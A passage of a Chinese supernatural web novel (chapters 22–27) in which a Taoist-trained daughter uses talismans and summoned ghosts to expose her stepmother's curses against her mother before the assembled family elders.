将屋里伺候的人都遣了出去,殷玉珠这才拿出无崖子给的两张黄纸朱砂写成的符咒。
一张是**的符,能让凡人看见阴物。
一张是五**鬼符,以火焚之可让厉鬼魂飞魄散。
这两张灵符是无崖子亲手画的,收了她二十两银子呢!
钱倒是小事儿,开了天目就能看见那东西……
殷玉珠深深吸了口气,咬了咬牙,将开天眼的黄纸符放在蜡烛上烧。
火焰噌的一下蹿了出来,一道若有若无的白光钻进了她的眉心。
她感觉眉间好像灼了一下似的,强压着心头的恐惧缓缓睁开眼睛。
一瞬间,她啪的一下捂住了自己的嘴,身体不受控制的发抖。
她娘蜷缩在床上,还在喃喃自语,就在她床的四个角落分别站着四个面目狰狞的小鬼儿!
小鬼儿两脚悬在空中,披头散发,身上仿佛蒙着一层灰蒙蒙雾气,看不清楚穿着。
四双空洞的眼睛全是眼白,充斥着可怖的阴邪气息,正直勾勾的盯着床上的王氏。
第22章 第一次见鬼
好像随时等着把她拖下地狱……
烛火摇曳,阴影重重,空气仿佛跌入寒冬,彻骨的凉意如刀在身上凌迟。
屋里只有她和王氏,可身后四周仿佛有很多人在盯着她……
“呵呵……”
其中一只小鬼儿似乎发现了她,忽然抬起头来,那双充满阴邪的眸子看向殷玉珠。
床角另外三只也缓缓抬头,脖子仿佛被绳子勒住,动作僵硬诡异的看了过来……
殷玉珠全身的鸡皮疙瘩唰的一下竖了起来,寒意如附骨之蛆,从脚底攀爬到后背,身上每一根汗**都竖了起来,心跳擂鼓一般在胸腔中跳动。
这是她第一次见鬼,额头上早已渗出密密麻麻的汗珠子。
该死的无崖子!
早知道这般吓人,她说什么也要让他亲自来处理!
“不要、不要抓我!我不要下地狱,我不要进油锅……”
王氏忽然抱头尖叫,浑身颤抖的如同筛糠,一只脚踝拼命往后缩。
不知何时,一只小鬼伸出青黑色的手,正摸在她的脚踝上……
“娘……”
殷玉珠头皮蓦地炸了,头发根触电般竖起,空白的大脑中只有一个念头:“跑!”
“呼啦”
手中的五**鬼符跌落在地上,她突然停住脚步。
不行,她不能走!
娘要是被这几只小鬼抓走,她以后还能指望谁做自己的靠山?
靠她那个自私冷漠欺软怕硬爹吗!
殷玉珠狠狠咬住牙关,强压着心头的恐惧弯腰捡起黄纸符,颤抖的伸向一旁的烛火……
四只小鬼似乎察觉不对,在黄纸符燃烧的一刻突然消失。
“轰……”
火焰蹿上黄纸符,一声若有若无的雷响在耳边响起。
阴仄仄的寒意瞬间消失,周身仿佛解开了紧缠的绳索般,瘆人的感觉潮水般撤退……
殷玉珠强忍恐惧,小心翼翼走到床边,
“娘……”
“鬼呀,鬼呀……”
王氏瑟缩在床角,眼神呆滞满脸惊恐。
“没事了娘,没有鬼了……”
殷玉珠忙把无崖子给她的一个纸包打开,将里面的粉末用水冲了,掐着王氏的脸强行灌了进去。
这是镇惊收魂的符药,花了她五十两银子!
无崖子说人有三魂七魄,三魂为本七魄为辅,人在受惊过度时魂魄不稳,容易易从本体脱出。
王氏言语失常,幽精失则神不守舍,便是丢了一个人魂,需以招魂符将魂魄招回来。
符药贵是贵了些,不过挺管用,不消一刻钟王氏眼睛就有了些神色,看到她哇的一声哭了出来,
“玉珠?玉珠,娘、娘看到鬼了!它们要把我抓去地狱,他们要吃我的肉……玉珠,娘好害怕!”
看她神色恢复,殷玉珠顿时松了口气,忙捂住她的手说,
“不怕,娘不怕!鬼已经被无崖子的驱鬼符赶走了!
道长的灵符很厉害,它们再也不敢来了!”
“赶走了?玉珠,这到底是怎么回事!”
王氏一脸茫然的看着她,声音哆嗦的不成样子,“我、我记得我身子有些乏累,上床安歇,睡着睡着不知怎的就、就飘起来了。
好像有人抓着我的手脚,把我抬出去……我一睁眼就看到一只恶鬼,凶神恶煞!它要吃我的肉,喝我的血!”
“是殷琉璃那个**!”
殷玉珠指甲在手心里掐出了血,恶狠狠道,“无崖子道长说她用了小鬼抬人的邪术,让鬼把你抬出去人不知鬼不觉的杀死!”
王氏一掌拍在床上,面目狰狞的喝道,
“杀了她!我一定要杀了她!
不杀了这个妖女和甄氏那个**,我绝不会善罢甘休!我要她们母女死无葬身之地!
玉珠,你去给我找无崖子来,不管要多少银子我都肯出!”
“娘,你以为我不想杀了她?只是她现在还不能死,她还要替我去跳公主府那个火坑呢!”
殷玉珠唇边勾起一抹阴森的冷笑,
“娘您想想,等花轿接亲那天无崖子毁了她的道行,她就是一个手无缚鸡之力的寻常人。
到时候还用咱们杀吗?届时咱们使点手段,就算顾瑾焱那个浪荡子克不死她,自然有人替咱们折磨死她!”
“对,玉珠,你说的对!”
王氏攥紧手掌,狠狠道,“一刀杀了那个妖女,反倒便宜她了!玉珠,咱们等着亲眼看她如何被折
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磨死才好!”
殷玉珠眸中闪过一抹狠毒,低声道,
“如今虽不能立刻就报仇,可也不能轻易就饶了她去!
想在侯府为所欲为,简直妄想!我不会让她好过的,娘,我有个主意……”
……
凤栖梧。
第二天天色刚亮,甄氏早早的起来去了小厨房,亲手为女儿做了热羹,面果子,用油盐炒了三样可口的菜肴,放在屋里用笼子罩着等女儿起床。
“娘,您起来了?”
殷琉璃迷迷糊糊的听见甄氏和金嬷嬷,在床头叽叽咕咕的说着什么,翻了个身望过去。
“吵醒你了?”
甄氏心疼的摸了摸她的脑袋,将手上拿的一件衣裳递过去,“琉璃你瞧,我和嬷嬷选的哪件好看?
你以后在家不方便穿道袍,娘给你挑了几件衣裳。
你肌肤雪白,娘决定这件鹅黄色的衬你!”
金嬷嬷笑吟吟的说,“夫人选的自是没错,只是老奴觉得这件胭脂粉,是小女儿家的衣裳,穿上也一定好看!”
“先穿娘选的,明日再穿嬷嬷的。”
殷琉璃懒洋洋的打了个哈气,搂着被子深深的嗅了一口,撒娇般道,“娘的被子好香啊……”
甄氏心头一热。
这是她盼了多少年才盼来的场景,如今竟真的实现了,怎么都感觉跟做梦似的。
金嬷嬷忙道,
“对了,老奴一早在外面看了几个人,家世出身都打听过了,请大姑娘定夺。”
殷琉璃点了点头,“吃过早饭看。”
话音未落,安静的院子里忽然有人说话,
“金嬷嬷在吗?传老太爷的话,请甄夫人,大小姐过去正堂问话。”
金嬷嬷忙出去询问,
“什么事儿?”
来人是殷老太爷院里的,脸色不紧不慢,“老太爷说去了就知道了。”
一大早就传去正堂,还要问话,甄氏脸上温柔的笑意一僵,心头不由紧张,
“老太爷叫咱们过去,会有什么事儿?”
“莫不是昨晚王夫人被鬼抬了那事儿?这要闹起来如何是好?”
金嬷嬷紧张的搓着手,小声说,“大姑娘,等去了咱可千万不能认!”
第23章 三堂会审
殷琉璃慵懒地打了个哈气,一脸轻松道,
“为什么不认?”
金嬷嬷咬了咬唇,提心吊胆地说,
“那房素来得理还不饶人,更别说你把她折腾得不轻……
要是叫他们抓住了把柄,那还不闹翻了天,老奴只怕对大姑娘不利。”
甄氏心里擂鼓,踌躇道,
“琉璃,娘也觉得嬷嬷说得有理,娘不是要你撒谎,只是、只是……”
做娘得教女儿撒谎固然不对,只是好容易把女儿盼回来,只要女儿平安她什么都顾不得了。
“娘,嬷嬷,你们别担心,我早留着后手呢。”
殷琉璃唇边勾起一抹冷笑,眸中寒光凛凛,“我非但要认,还要痛痛快快的认呢!”
甄氏和金嬷嬷面面相觑,心里始终还是紧紧揪了起来。
正踌躇不安,一个仆妇进来说话,
“夫人,老太爷那边儿又遣人来叫了,说是让赶紧去。”
甄氏正给女儿梳头的手不由一颤,忙说,
“你去告诉一声,这就好……”
殷琉璃舒服地享受着母亲的温暖的手在她头上轻抚,细齿梳子划过头皮说不出的酥痒感,挑眉道,
“就说我说的,让他们等着。”
不过一刻钟,殷琉璃坐在桌前正吃得香,仆妇就又进来传话,
“夫人,大姑娘,老太爷那边儿又来催,说是殷家长辈们早就去了,让长辈们等不成体统。”
甄氏不觉放下筷子,不安道,
“琉璃,要不、要不……”
殷氏的长辈们都来了,这是要三堂会审?
她哪里还吃得下去!
殷琉璃眸光一瞥,“你出去告诉,要么等我去,要么就叫人来押我过去。”
仆妇一脸吃惊,
“啊?这,这……”
这种大逆不道的话可怎么回呀?
他们院儿这位大小姐可真是个不吝的!
老太爷是殷侯府的权威,他老人家发话,整个侯府还没有个人敢打驳回!
“还愣着作甚,照大姑娘的话回去!”
金嬷嬷沉着脸斥责了一声。
虽说心里悬得高高的,可一看到大姑娘,她就有说不出的底气。
“娘蒸的面果子真好吃,又香又甜!”
殷琉璃抓起红豆馅儿的面果子大大咬了一口,满足地唔了一声,“真好吃!”
甄氏无奈地笑了,“多吃些,明日娘再给你蒸。”
看女儿坐得稳如泰山,她心里所有的担忧瞬间消散了大半。
……
正堂。
听了下人的回话,几个叔伯辈的老者脸色顿时不好看,七嘴八舌地怒斥,
“让咱们在这等她一个小辈儿半个时辰,这是何道理?”
“她还敢叫咱们去拿人?简直不成体统!”
“殷氏怎么出了这么个浑不吝的孙辈!这是大大的不肖!”
“若殷氏的子孙个个都像她这样,还不乱了套了?”
……
老太爷脸沉得跟锅底一般黑,却也只沉默。
你行你上,老夫可没那个本事。
他倒想去叫人拿了那不肖子孙,五花大绑押过来,先赏几十板子让她知道利害!
你们是没瞧见那丫头耍横的时候,他这条老命还想多活几年呢。
一大早王氏就带着殷宝珠告到门前,哭哭啼啼地说殷琉璃怎么害她,要把她活活弄死什么的。
老太爷本还想着安抚一下,大事化小小事化了,横竖忍到那丫头嫁出去也就安生了。
没想到王氏把族里几个长辈全都请了过来,三堂会审非要讨个说法。
“我来了。”
正吵得热闹,殷琉璃迈着轻盈的步子走进正堂,扫了一眼众人,
“叫我来有什么事儿?”
她没让娘过来,一会儿闹起来怕吓着她。
空气瞬间安静。
老太爷暗暗咬牙,只好先发话,
“琉璃,族里长辈在这儿等了你大半个时辰,成何体统!”
殷琉璃语气淡然,“不是说了?不想等就叫人去拿我呀。”
“啪”
一个族老重重拍下桌子,怒气冲天,
“怎么说话呢?简直一点规矩都不懂!”
殷琉璃淡淡地说,“你们殷家的规矩,对我没用。”
族老大概没见过这么浑不吝的孙辈,气的满
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脸红温,
“简直放肆!身体发肤受之父母,你身上流着我们殷家的血,作为殷家的子孙,难道不知圣人之说,父母呼应勿缓,父母命行勿懒的道理?”
殷琉璃一阵冷笑,“敢问这里在座的哪一位,对琉璃有过养育之恩?”
“你……”
族老登时被噎得直吸气。
殷琉璃挑了挑眉,“你们叫我过来不会就是要训我吧?到底有什么事儿?”
殷玉珠快步进来,扑通一声跪倒在地,
“殷琉璃用肮脏的手段意图谋害我娘,孙女请爷爷做主,请殷氏各位长辈做主!”
王氏没了往日的光鲜亮丽,一脸憔悴模样,眼下两个青乌的黑眼圈儿格外明显,脚步踉跄,身子摇摇晃晃好像一阵风就能吹到似的。
扶着下人进来也跪在正堂,掩着面嘤嘤地哭诉,
“老太爷,儿媳不知哪里得罪了那丫头,竟被她、竟被她……
幸亏儿媳命大才躲过了一劫,不然今日咱们殷侯府就要摆起灵堂来了!
儿媳请老太爷做主,请殷氏各位长辈替我做主!”
“你先起来。”
老太爷黑着脸看向殷琉璃,“琉璃,王氏告你用邪术害她,可是实情?”
殷琉璃挑了挑眉,“不是。”
“你胡说!”
殷玉珠蓦地抬头,脸上闪过一抹恨极,抬手指着她的鼻子厉声道,
“你用邪术弄来四个小鬼,趁我娘睡着把她抬出去要杀了,珠兰院所有下人都眼睁睁瞧见的!
整个殷侯府都知道你会邪术,你还敢不认!”
“哦,你说这个呀,是**的。”
殷琉璃鼻子里哼了一声,轻描淡写地说,“我说不认得是邪术。”
“你总算认了,你仗着自己会邪术,就要害死我娘!”
没想到她认得这么快,殷玉珠脸上闪过一抹意外。
“诶,饭可以乱吃,话可不能乱说。”
殷琉璃眸中闪过一抹冷冽,肃然道,“我用的是正统道门祖师爷传下的法术,跟邪术可一文钱的关系没有。
奉劝一句,你这么说可是会得罪我们祖师爷的。”
第24章 该我告你们了
殷玉珠心里不由打了个哆嗦,硬着头皮说,
“谁知道你那是什么!可你要害死我娘,我绝不会放过你!”
殷琉璃眸中闪过一抹不屑,
“别闹,我要她死,还能让你知道?”
确有**于无形的法术,但那不是正统道术,是些个不安好心之人利用道术衍化而成。
她才不屑去用。
殷玉珠心头涌上一股恶寒,咬牙道,
“自打你回来就想害我们母女俩,你还放火烧我娘住的凤栖梧,要她交出院子你们母女俩搬进去!
殷琉璃,你不就是想我们**,好在让你们娘俩在侯府一人独大嘛!”
殷琉璃鄙夷地说,
“我都要被殷镜堂嫁去公主府了,还稀罕你这侯府?
别忘了以后你见了我,可还要规规矩矩地行礼叫我一声世子妃呢!”
殷玉珠顿时噎了一下。
话题总是轻易就被她带跑偏,搞得她很多话都没法按计划说。
“你别顾左右而言他,我只问你害死我娘的事情!”
殷玉珠咬了咬牙,厉声道,“爷爷,各位长辈,玉珠求你们替我娘做主!”
话音一落,殷氏几个长辈全都在暗暗吸气,原本带着怒意看殷琉璃的眼神顿时小心了很多。
王氏被小鬼抬着扔进茅坑的事儿,外人虽听说得不清楚,可传言传得神乎乎的。
有说一个青面獠牙的恶鬼,拿着粪叉子一般的家伙把她叉起来往油锅里扔。
有说几个小鬼一人拽着她一只手脚,忽忽悠悠就飘上去了。
还有说王氏晚上睡觉被鬼压,人都快吓疯了……
殷琉璃3岁就被扔去山沟沟的道观,谁都没想过她还能再回来,甚至都忘了殷家还有这样一个孙辈。
如今她带着一身戾气和法术回来,把殷侯府闹得鸡飞狗跳,哪个还敢惹她?
正堂的空气像是被抽走了似的,一片窒息。
长辈们你看我我看你,谁也不敢先开口说话。
“爷爷,各位长辈,求你们替我娘做主呀!”
殷玉珠一头重重地磕在地上,涕泪横流道,“这个妖女今日能害我娘,明日说不成谁得罪了她,就要死在她的手里!”
“玉珠,不是爷爷不给你做主,可咱们侯府与公主府联姻可是大事儿,这节骨眼上的确不宜再闹些事端出来,让外人知道了不仅会影响她,还牵扯咱们侯府的脸面。”
老太爷无奈地摆摆手,苦口婆心的说,
“爷爷知道你跟你娘受委屈了,这样吧,爷爷做主让琉璃给你娘磕头赔罪。
再者,琉璃用邪……用道术捉弄你娘到底是不对。
她让你娘受了惊吓,你们有什么要求就提出来,让她赔偿你们满意,这件事就这么过去了如何?”
他心里跟明镜似的在两边和稀泥。
王氏母女俩在殷琉璃这里吃过大亏,闹这一通一来是想恶心她,二来还就是想把殷玉珠的嫁妆、凤栖梧的院子要回去?
要是真把殷琉璃送去官府惩戒,跳公主府那个火坑的还不是她殷玉珠自己?
殷琉璃抱起双臂,冷眼看着他们一唱一和。
殷玉珠心头冷笑,脸上还委屈地嘤嘤哭泣,阴阳怪气地说,
“玉珠也知道大姐姐嫁了门好姻缘,以后做了世子妃自是比我们高一头,万是不敢得罪的。
可爷爷和各位长辈发话,玉珠跟娘自然不敢再说什么……娘,您的意思呢?”
王氏用帕子捂着脸,哭哭啼啼地起身道,
“儿媳也不敢违老太爷的意思,儿媳也不要那丫头和甄氏什么赔偿。
只她一回来就抢了我玉珠的嫁妆,又夺了儿媳住了十几年的院子,如今又要这般害儿媳性命,叫儿媳心里怎么能不怨?”
老太爷捋着胡子,故作思索道,
“这样吧,爷爷替你做主,你把玉珠的嫁妆还回来,院子嘛……都住进去了也没法子。
让琉璃给你补些银子,以后再选个好地方给你盖上一处新的,你们两边都息事宁人,如何?”
殷玉珠嘤嘤地说,“玉珠听爷爷的。”
“你呢?”
看殷琉璃一脸冷笑,老太爷压着一股怒火,沉下脸说
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“琉璃,爷爷可是为你好!你这孩子闹得也忒不像话,若是真闹出人命你可如何收场?
这事儿要闹起来你到底没理,就是去了官府你也落不得一点好……”
“老侯爷不妨先听听我的,如今他们告完了,也该我告他们!”
殷琉璃灵动的眸子里闪过一抹凛冽,抬手指着王氏喝道,
“王氏逼我娘搬出凤栖梧,霸占我娘嫁妆,这十几年里更是以主母的身份克扣我娘衣食,令我娘处境艰难。
她命人将病死之人带着煞气的遗骨,放在我娘床下,用殁骨邪术致我娘这十几年病痛缠身。
又在我娘的枕头里下了魇术,导致我娘梦魇不断,元气大伤。
老侯爷,各位殷家长辈,这些你们又如何评判?”
话音一落,正堂瞬间响起了一片倒吸冷气的声音。
“你、你胡说什么!”
殷玉珠脸色大惊,厉声反驳道,“什么殁骨,什么魇术,我听都没听说过!
殷琉璃你这个妖女,整个侯府谁不知道只有你才会这些害人的邪术!”
王氏憔悴的脸唰的一下变得苍白,惊慌失措道,
“你说我害你娘,你、你有什么证据?没有就不要诬陷本夫人!”
“对,你有什么证据?殷琉璃,你别想无理取闹!”
就算她找出甄氏床底下的殁骨,也不能证明是他们做的!
魇术就是把一张符烧了掺进荞麦皮里,找出来也是一堆灰渣。
殷玉珠在心里复盘了一遍,怎么也想不出殷琉璃能拿出什么证据来。
“说到点儿上了,我不但有证据,还有人证。”
殷琉璃森然冷笑,拍了拍手喝道,“把人带上来!”
她有证人?
殷玉珠和王氏心里一惊,双双吸了口冷气。
“是,大姑娘!”
在门外等候多时的金嬷嬷利索地应了一声,推搡着一个人进来,
“跪下!当着老太爷和所有人的面儿,老老实实把你知道的事情全都说出来!
敢有一句隐瞒,看不扒了你的皮!”
第25章 谁说**不能作证?
“春柳?你不是……”
瞧见人,王氏心里咯噔一下,脸色顿时变了。
这丫头一心投靠她想争个好前途,背地里没少替她办些腌臜事,魇术就是她亲手去下的。
她知道孙嬷嬷在自己面前得脸,也没少巴结,说不定知道些什么事情。
可殷琉璃不是把她打了一顿,发卖出去了吗?
牙行的人来领她,府里人可都是瞧见的。
百密一疏,王氏没想到这妖女还能来个回手掏!
殷玉珠也攥紧了拳头,一双眼睛冷冷看着她,阴毒的眼神无声告诫,“敢乱说话,你就死定了!”
老太爷原想和几下稀泥就息事宁人了,没成想殷琉璃还有这一手,只能硬着头皮喝问,
“堂下何人?”
“奴婢、奴婢春柳,见、见过老太爷。”
春柳眼神惊恐慌乱,匍伏在地上哆哆嗦嗦的说,“奴婢原是甄夫人的贴身侍婢。”
原本打扮光鲜在人前也有几分脸面的大丫头,如今头面乱的跟个蓬头鬼似的,一张惨白的鹅蛋脸乌漆嘛黑,身上的缎子衣裳也揉的不成样子。
金嬷嬷看在眼里只觉解气,暗暗啐了一口,
“背主的东西,活该!”
老太爷虎着脸道,
“贱婢,琉璃说你是证人,你能证得什么?事关我侯门脸面,你胆敢胡言乱语,小心家法伺候!”
春柳打了个哆嗦,急急的说,
“奴婢不敢!奴婢说的句句都是实话,敢有一句不实就叫奴婢天打雷劈!”
老太爷脸色黑了一下,
“老夫问你,是不是你在甄氏的枕头里下了什么……梦魇邪术?又是谁让你下的!”
这丫头怕不是没听明白他的意思。
老夫这是让你说实话吗?
老夫这是让你悠着点儿说,别什么都吐露出来!
春柳迫不及待的抬头,
“是、是王夫人叫奴婢下的,说是一张能叫人失心疯的符,让奴婢烧了把符灰掺进甄夫人枕头里去……”
“春柳!”
话音未落,王氏暴起怒喝,
“往日本夫人待你可不薄!你自己说在那个破落院子里没有出头之日,求着本夫人给你指条明路,本夫人才对你多加照顾。
如今你竟来乱咬本夫人一口,说,殷琉璃那个妖女给你什么好处?”
“娘!”
殷玉珠急忙拦住她,可惜已经晚了。
这时节最应该的就是跟春柳撇清关系,抵死不认账才是道理,这么说不是把话柄递到人家手里嘛!
“蠢货!”
她心里暗骂了一句。
“春柳没有乱咬夫人,我说的都是实话!”
春柳抬起一双充血的眼睛看着她,咬牙道,“正是因为春柳背地里投靠了夫人,才知道旁人不知道的那些!
王夫人向来嫉妒甄夫人美貌,身如弱柳之姿,时常惹得老爷往她房里过夜,不止让奴婢给甄夫人下梦魇邪术,还让孙嬷嬷在甄夫人床底下放了一块**骨头!”
“嘶……”
正堂里响起一片吸冷气的声音。
春柳的话等于实锤了她娘作恶,殷玉珠只能狠狠咬牙,争辩道,
“春柳,你空口白牙污蔑我娘,说话可有凭证?”
春柳青白如鬼似的脸扭过去,冷笑道,
“奴婢私下里多有与孙嬷嬷亲近,这些都是她亲口告诉我的!
孙嬷嬷还说那个什么**骨头,是夫人花了大价钱从马道婆手里买的,下了几年,甄夫人虽说病痛缠身,只是一直撑着一口气不死,怎的这般难杀?”
王夫人眼前一黑,一口气差点儿提不上来。
私底下她是跟孙嬷嬷说过“那个**怎的这般难杀”,竟不知春柳也知道了。
“正因甄夫人一直不死,王夫人那日叫了春柳去,给了一张黄纸符让烧了放在甄夫人枕头里。”
春柳脏兮兮的脸上满是懊悔之色,捂着脸哭道,
“她、她许了奴婢等四少爷成亲后,就把奴婢指给四少爷做妾室,奴婢当时吃了猪油蒙了心,就、就……”
“胡说!”
殷玉珠再也按捺不住,厉声呵斥,
“孙嬷嬷人都**,死无对证,你说是她就是她啊?
本小姐还
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说是你自己背主,恨跟着你那主子再无出头之日,自己下手害你主子呢!”
“怎么,殷二小姐这是狗急跳墙了?”
殷琉璃眸中寒光闪过,唇边勾起一抹冷笑,幽幽的说,
“谁说人**,就不能出来作证……孙嬷嬷、马道婆,要不要全都叫出来给亲自跟你说?”
殷玉珠浑身一凛。
一股麻酥酥的寒意从后脖颈直窜脚底,她本能的退了一步,指着殷琉璃的鼻子颤抖道,
“殷琉璃,你、你别乱来!这里是我殷家正堂,里面供奉着我殷氏列祖列宗的牌位,容不得额你在此放肆!”
“玉珠说的对,这是我们殷氏供奉祖宗的地方,岂能让那些孤魂野鬼来、来亵渎……”
“我听说那个孙嬷嬷不是七窍流血死的吗?”
“你不是要**的魂儿叫上来吧!”
……
不止她,正堂在座殷氏那些长辈无一不感觉后脖颈蹭蹭往上冒凉气。
老太爷啪的一巴掌拍在桌上,铁青着脸道,
“琉璃,你、你休要放肆!”
“不放肆也放肆好多回了!”
殷琉璃冷冷扫了众人一眼,声线冷厉,“今日不把王氏的罪过摆在你们眼前,我娘这么多年受的苦楚岂不是白受了?”
说罢,她抬手在掌心凌空画上一道招魂灵符,纤长的手指一翻,一道若有若无的灵光从指尖划过吗,
“孙嬷嬷,马道婆,前来!”
正堂中央平地拔起一股阴风,咻咻的在众人脚下打转儿。
阴冷森然的气息如迷雾般蔓延开来,丝丝寒意像张开的蛛网往人的身上蔓延,说不出的诡异阴寒电流般传遍全身。
在座的殷家长辈不约而同抓紧了座椅扶手,身子绷的跟毛笔般直,满脸惊恐如坐针毡。
“来了……”
随着鬼魅般瘆人的声音响起,门外忽然漂浮起两个黑色油纸伞……
黑伞下缓缓显出两个模糊的人形,一个穿着嬷嬷的衣裳,一个打扮成道婆模样。
只是两张脸上仿佛蒙着一层淡雾,灰扑扑的泛着瘆人的青光。
第26章 根本得罪不起
所有人都屏住了一口呼吸,大气儿不敢再喘一声。
“夫人……你害得老奴好苦呀……”
孙嬷嬷阴冷的声音幽幽传来,那张脸渐渐清晰,五官滴滴答答的往下流出血水。
“咕咚”
一个长辈看清那张脸后,险些一头从椅子上栽下去。
其他几位脸吓得比鬼还白,待要想跑可两条腿软的跟面条似的,挪都挪不开一步。
早知道殷家丫头手段这么狠戾,王夫人就是送再多好处他们也不来掺和这事儿!
“孙、孙嬷嬷,你……”
看着那张脸,王氏上下牙抖的跟发报机似的,只差一口气上不来。
黑伞缓缓逼近,孙嬷嬷两脚悬空飘在了她的面前,眼中又怨又恨,
“夫人要老奴用殁骨害甄夫人,怎的不说摸过殁骨的人会死于非命?
老奴如今罪孽深重,连城隍庙都进不去,只得在外面做了孤魂野鬼……
老奴好惨呀……夫人,老奴被你害的好惨呀……”
“贫道也被你害惨了……原以为你是个精明的,没想到竟是个蠢货!”
马道婆同样顶着一张七窍流血的面容,在黑伞的庇护下飘到她的面前,咬牙切齿道,
“殁骨那东西乃病殁横死之人遗骨,上面缠着阴魂冲天的怨气……
你没把人弄死也算了,何苦连累贫道!”
“鬼、鬼呀……”
王氏目眦欲裂,只来得及叫了一声,两眼一翻咕咚下倒在地上。
“娘!”
殷玉珠惊叫一声,待要去搀扶,却被孙嬷嬷那双空洞阴森的眼睛给瞪了回去,
“老奴平日里也没少替二小姐做些见不得人的事,如今横死,你怎能叫人把老奴的尸身扔去乱葬岗匆匆埋了……
你好狠的心啊!老奴好可怜,好可怜……”
殷玉珠差点儿一屁股瘫在地上。
“老侯爷,各位殷氏长辈,你们听明白了没?”
殷琉璃对众人淡淡挑眉,“若还有不明白之处,便让他们多说些王氏如何害我娘的事。”
“明、明白!明白了……爷爷会替你、替你和你娘做主,行了吧!”
老太爷捂着擂鼓般的胸口,把手摇的跟中风似的,“还把这鬼东西弄走,快给我弄走!”
一位长辈吸着冷气说,
“大姑娘,吓坏了人可开不得玩笑……咱们心里都有数,一定能替你和你娘做主的,快把神通收了吧!”
殷琉璃冷笑道,“这可是你们说的。”
她在手心画上一张“驭鬼符”,指尖闪过灵光,冲孙嬷嬷和马道婆挥了挥手,
“去吧。”
黑伞缓缓收起,两个双脚悬空的阴魂化作一缕青烟,被收了进去。
收入阴魂的黑伞也在众人眼前消失的无影无踪。
这是她从冥界借来的收魂伞,凝结冥界极阴之气炼制而成,以极阴炼化为阳,阴魂在其庇护下可不惧阳间日光和雷火。
是冥界收阴魂的鬼差常用之物。
空气突然一窒。
原本阴冷的如同地窖般的正堂,寒气突然撤去,暖意渐渐袭来,众人才恍然觉得自己又回到了阳间。
原以为审的是一桩族里争风吃醋的案子,没想到是在鬼门关走了一趟!
人家审案要钱,他们审案这是要命啊?
一张张脸上满是冷汗,谁也不敢说话。
“娘,你、你醒醒!”
殷玉珠连滚带爬过去扶起王氏,一张吓得雪白的脸充满了怨毒的神色,
“殷琉璃,我娘要是出事,我跟你拼了!”
“说得好!”
殷琉璃喝道,“你娘害了我娘这么多年,我自然也不会放过你们!”
“咳咳……玉珠,你娘因妒生恨,暗通马道婆这等邪道之人害琉璃的娘,可见其心险恶,不择手段!”
老太爷好半天才缓上一口气来,颤声说,
“此事非同小可,断不能轻饶!殷侯门断断容不下这等恶妇人,镜堂回来我会让他写下休书,将这恶妇人逐出家门!
至于玉珠,念在你年幼无知被你娘蛊惑,又是我殷家的血脉,留在家中反省以观后效。
各位长辈觉得意下如何?”
“族长说的对,这等恶妇必要从我殷氏清除出去。”
“不然她指
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不定要害哪一个呢,断不能留!”
“我等听从族长安排,这种作恶之人必要严惩,否则难以服众!”
……
一众长辈擦着冷汗,一个比一个说的狠。
殷琉璃那个丫头着实有些利害手段,得罪不起,根本得罪不起!
殷玉珠两眼一黑,噗通一声跪下,脑袋一下一下往地上撞,苦苦哀求道,
“玉珠求爷爷,各位长辈开恩,念在我娘这十几年来辛辛苦苦为侯府打理内宅,没有功劳也有苦劳的份儿上,轻责我娘吧!
玉珠保证她以后再也不敢了,玉珠对天发誓她再也不敢了……”
说着,她手脚并用爬到老太爷跟前砰砰磕头,
“爷爷若是让我爹把我娘休了,玉珠以后在人前还如何能抬得起头来?
爹娘刚刚给玉珠定了国公府的亲事,我娘成了休弃之人,国公府该如何看待玉珠,玉珠这辈子就完了!”
事到如今,她只能用自己这桩婚事来要挟。
国公府可是爷爷和爹一心想攀附的大靠山,他们肯轻易舍了?
老太爷心里不由咯噔一下,暗戳戳的瞥了一眼殷琉璃,无奈道,
“玉珠,不是爷爷不帮你,可你娘做的那些恶事实在令人不齿,不重罚如何让甄氏和琉璃他们母女出气?又如何服众!”
殷琉璃一阵冷笑,这是把矛头甩给她?
殷玉珠果然听懂了画外音,手脚并用爬到殷琉璃跟前重重磕头,苦苦哀求,
“大姐姐,我娘知道错了,求大姐姐和甄夫人网开一面,饶了我娘吧!
我对天发誓她以后再也不敢欺负你娘了,倘若她敢再犯必遭天打雷劈,大姐姐就是杀了她玉珠都再无怨言!”
“妄想。”
殷琉璃淡淡挑眉,转身就走。
“大姐姐!”
殷玉珠通红的眼中极快的闪过一抹恨意,一把抱住殷琉璃的腿痛哭流涕,
“求大姐姐看在你我同为殷氏子孙,血脉至亲的份儿上,饶了我娘一次吧!
玉珠愿为娘赎罪,当牛做马,衔环结草任凭大姐姐驱使,报答大姐姐的恩情!”
第27章 打**叫人告诉我一声
她哭的撕心裂肺真情流露,把在座的殷家长辈看的眼眶都红了,纷纷赞许道,
“王氏不堪,倒是连累玉珠这孩子为难了……”
“玉珠这孩子侍母至孝,也实在难得!”
“百善孝为先,王氏虽罪不可恕,可玉珠能如此也是孝心至虔呀!”
“着实令人动容……”
“得饶人处且饶人吧。”
……
刀子没割在谁的身上,当然不知道疼。
“殷氏供奉祖先的正堂,怎的到处都是些屁声?”
殷琉璃都气笑了,抬眸扫了众人一眼道,“来,让我也杀了你的老母,再跪地求饶,不知在座哪一位肯?”
凛冽的话音未落,众人齐刷刷打了个冷颤,闭上一张张鸟嘴再不敢多说一句。
殷玉珠心中大惊。
她这么卖力表演,这**竟然一点儿都不买账!
“殷玉珠,你若做了我的牛马,日后冷不丁要往我身上踹一蹄子,衔的环结的草套怕是要从背后套在我的脖子上!”
殷琉璃居高临下的望着她,森然冷笑,“放手,我嫌恶心。”
“不,我不!是玉珠的娘有错在先,让姐姐的娘受尽委屈,大姐姐生气是应该的!”
殷玉珠咬了咬牙,把心一横搂着她的腿哭道,“只求大姐姐放过我娘,大姐姐只管拿玉珠撒气,玉珠甘愿代替娘受任何惩罚……”
“砰……”
话音未落,殷琉璃抬脚将她踹飞了出去,皱了皱眉,嫌弃的说,“惹厌!”
“啊!”
殷玉珠重重摔在地上,只觉得眼前金星乱冒,痛的她蜷缩起身子,五脏六腑跟火烧一般。
该死!
她恨毒了殷琉璃!
可她不能就这么算了,娘一旦被休,她嫁去国公府的事儿就完了!
她以后的荣华富贵,国公夫人名头全完了!
她不能就这么放弃。
暂且忍下今日一切,日后不管付出什么代价,她一定要殷琉璃不得好死!
“大姐姐……”
殷玉珠唇角溢出一丝鲜血,忍着痛在地上一步一步爬到殷琉璃脚下,抬手给了自己一个耳光,
“大姐姐若是不肯饶恕我娘,玉珠就这样一直打下去,直到大姐姐消气肯饶恕我娘……”
